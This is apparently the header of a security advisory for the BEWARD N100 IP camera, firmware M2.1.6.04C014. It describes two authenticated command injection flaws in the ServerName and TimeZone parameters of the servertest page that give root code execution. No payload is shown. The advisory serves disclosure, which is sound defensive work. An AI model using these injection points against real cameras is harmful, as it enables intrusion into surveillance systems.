  • BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution
    
    
    Vendor: Beward R&D Co., Ltd
    Product web page: https://www.beward.net
    Affected version: M2.1.6.04C014
    
    Summary: The N100 compact color IP camera with support for a more efficient
    compression format is optimized for low-speed networks, thanks to which it
    transmits a real-time image over the network with minimal delays. The camera
    supports the switching of the broadcast modes, and in the event of a break in
    communication with the remote file storage, it can continue recording to the
    microSDHC memory card. N100 is easy to install and configure, has all the
    necessary arsenal for the organization of low-cost professional video surveillance
    systems.
    
    Desc: The camera suffers from two authenticated command injection vulnerabilities.
    The issues can be triggered when calling ServerName or TimeZone GET parameters
    via the servertest page. This can be exploited to inject arbitrary system commands
    and gain root remote code execution.
